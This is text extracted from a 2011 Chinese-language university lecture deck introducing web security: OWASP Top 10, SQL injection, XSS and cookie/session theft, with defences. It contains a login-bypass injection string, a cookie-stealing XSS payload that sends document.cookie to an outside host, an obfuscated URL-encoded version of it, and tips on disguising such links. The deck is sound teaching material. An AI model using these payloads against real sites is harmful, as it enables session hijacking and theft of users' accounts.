網頁應用程式的安全入門

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中央大學電子計算機中心
「多媒體與網路應用」
資訊推廣課程
網頁應用程式的安全入門
日期: 2011/03/27
講師:資工三 張竟
cwebb [dot] tw [at] gmail [dot] com
Agenda
嘴砲
OWSAP Top 10
SQL injection
XSS
cookie & session
2
Agenda
嘴砲
OWSAP Top 10
SQL injection
XSS
cookie & session
3
不要做壞事!
4
不要被抓到!
5
不要被抓到!
6
不要說我教的
7
Agenda
嘴砲
OWSAP Top 10
SQL injection
XSS
cookie & session
8
網頁安全?
早年 vs 現代
靜態 vs 動態
有程式 就有漏洞!
9
ways to attack
OS
web server
web application
10
attack scenarios
attack web server
gain privilege
steal informations
to attack users
attack other user
steal informations
execute other attacks
may be composite
11
Agenda
嘴砲
OWSAP Top 10
SQL injection
XSS
cookie & session
12
13
OWASP Top 10 A1: Injection2010
A2: Cross-Site Scripting (XSS)
A3: Broken Authentication and
Session Management
A4: Insecure Direct Object
References
A5: Cross-Site Request Forgery
(CSRF)
14
OWASP Top 10 2010
A6: Security Misconfiguration
A7: Insecure Cryptographic Storage
A8: Failure to Restrict URL Access
A9: Insufficient Transport Layer
Protection
A10: Unvalidated Redirects and
Forwards
15
OWASP Top 10 A1: Injection2010
A2: Cross-Site Scripting (XSS)
A3: Broken Authentication and
Session Management
A4: Insecure Direct Object
References
A5: Cross-Site Request Forgery
(CSRF)
16
OWASP Top 10 2010
A6: Security Misconfiguration
A7: Insecure Cryptographic Storage
A8: Failure to Restrict URL Access
A9: Insufficient Transport Layer
Protection
A10: Unvalidated Redirects and
Forwards
17
Agenda
嘴砲
OWSAP Top 10
SQL injection
XSS
cookie & session
18
Injections
駭客的填空遊戲
where can attacker inject?
database (MySQL, MS SQL, PostgreSQL ... )
no-sql
Directory Service (LDAP)
system command!!
19
how SQL works in
web
login page for example
sql server
client
web server
20
Why SQL?
廣大使用
儲存大量的網站資料
injection friendly
21
how injections work?
以MySQL為例子
$query = “select from account where
`id`=’$id’ and `pwd`=’$pwd’
$id=’ or 1=1 -> select from account where `id`=’’ -- ....
22
attack skills
union
blind attack
23
影響
資料被偷/被改
獲得網站權限
整個網站被拿下#
24
how to defense
safe API
過濾逃脫字元
不要直接把使用者輸入加入query
找程式掃描弱點
25
Practice
26
Agenda
嘴砲
OWSAP Top 10
SQL injection
XSS
cookie & session
27
XSS
Cross Site Scripting
在別人的網站上寫程式!
28
background
knowledge
HTTP GET
HTTP POST
29
how to attack
attack using POST/GET
the “scripting”
in the server
strange url
30
how to attack
javascript
<iframe> / <image>
31
example
<body>
<? echo “Hello ”.$_GET[‘id’].”; ?>
</body>
http://goodsite.com/?id=<script>alert(“i’m
Orange”)</script>
32
what may happened?
take you to bad site
send your information to attacker
Just For Fun!
33
Just For Fun Samy
MySpace XSS attack
Samy is my hero!
Infection
34
Big Site also
XSSable
MySpace
Facebook
twitter
Plurk
...
35
how to defense
for server
該逃的還是要逃
找程式掃描弱點
for user
看到奇怪連結要警覺
瀏覽器 / 防毒軟體
36
practice
37
Agenda
嘴砲
OWSAP Top 10
SQL injection
XSS
cookie & session
38
background
knowledge
cookie
A cookie is a piece of text stored by a user's web browser.
A cookie can be used for authentication, storing site
preferences,
shopping cart contents, the identifier for a server-based session,
or anything else that can be accomplished through storing text
data.
session
The session information is stored on the web server using the
session identifier (session ID) generated as a result of the first
(sometimes the first authenticated) request from the end user
running a web browser. The "storage" of session IDs and the
associated session data (user name, account number, etc.) on
the web server is accomplished using a variety of techniques
including, but not limited to: local memory, flat files, and
databases.
39
40
41
如果偷到了cookie
可以....
42
how to steal it?
43
44
把cookie送到雲端!
用GET / POST方式讓網頁把cookie
送走
<img> / <iframe>
ex: ["<img src='http://in1.ncu.cc/~975002063/keke/t.php?t=",document.cookie," >"].join(
sever side is simple
just keep the cookie
45
http://example.com/?samname=%22%3E%3Cscript%3Edocument.write%28[String.fromCharCode%2860,105,109,103,3
2,115,114,99,61,39,104,116,116,112,58,47,47,105,110,49,46,110,99,117,46,99,99,47,126,57,55,53,48,48,50,48,54,51,47,
107,101,107,101,47,116,46,112,104,112,63,116,61,34%29,document.cookie,String.fromCharCode%2834,39,62%29].join
%28%29%29;%3C/script%3E%3C%22
哪個白痴
會點這鬼連結
46
hidden
有種東西叫短網址
(tinyurl.com / 0rz.tw / goo.gl / bit.ly)
塞進別的網頁裡
(ex: iframe長寬設0或1)
ugly url EVERY WHERE
https://www.google.com/accounts/ServiceLogin?service=mail&passive=true&rm=false&continue=http%3A%2F%2Fm
ail.google.com%2Fmail%2F%3Fui%3Dhtml%26zy%3Dl&bsv=1eic6yu9oa4y3&scc=1&ltmpl=default&ltmplcache=2
https://login.yahoo.com/config/login?.intl=tw&.pd=c%3d7pP3Kh2p2e4XklntZWWfDLAC8w-&.done=https://tw.login.yahoo.com/cgi-bin/kcookie.cgi/www/http%3a//tw.yahoo.com&rl=1
47
防範
鎖定user agent / header
綁IP
*不要被攻擊成功*
48
鎖定user agent / header
if (isset($_SESSION['HTTP_USER_AGENT'])){
if
($_SESSION['HTTP_USER_AGENT'] != md5($_SERVER['HTTP_USER_AGENT']))
{
exit();
}}else{
$_SESSION['HTTP_USER_AGENT'] =
md5($_SERVER['HTTP_USER_AGENT']);}
但是... 當你偷的到cookie 會拿不到header
嗎?
49
Practice
50
Q&A?
51
52
Reference
http://www.owasp.org/
http://en.wikipedia.org/
http://goo.gl/cA3a
http://goo.gl/IwGbX
http://goo.gl/uQ4I1
53
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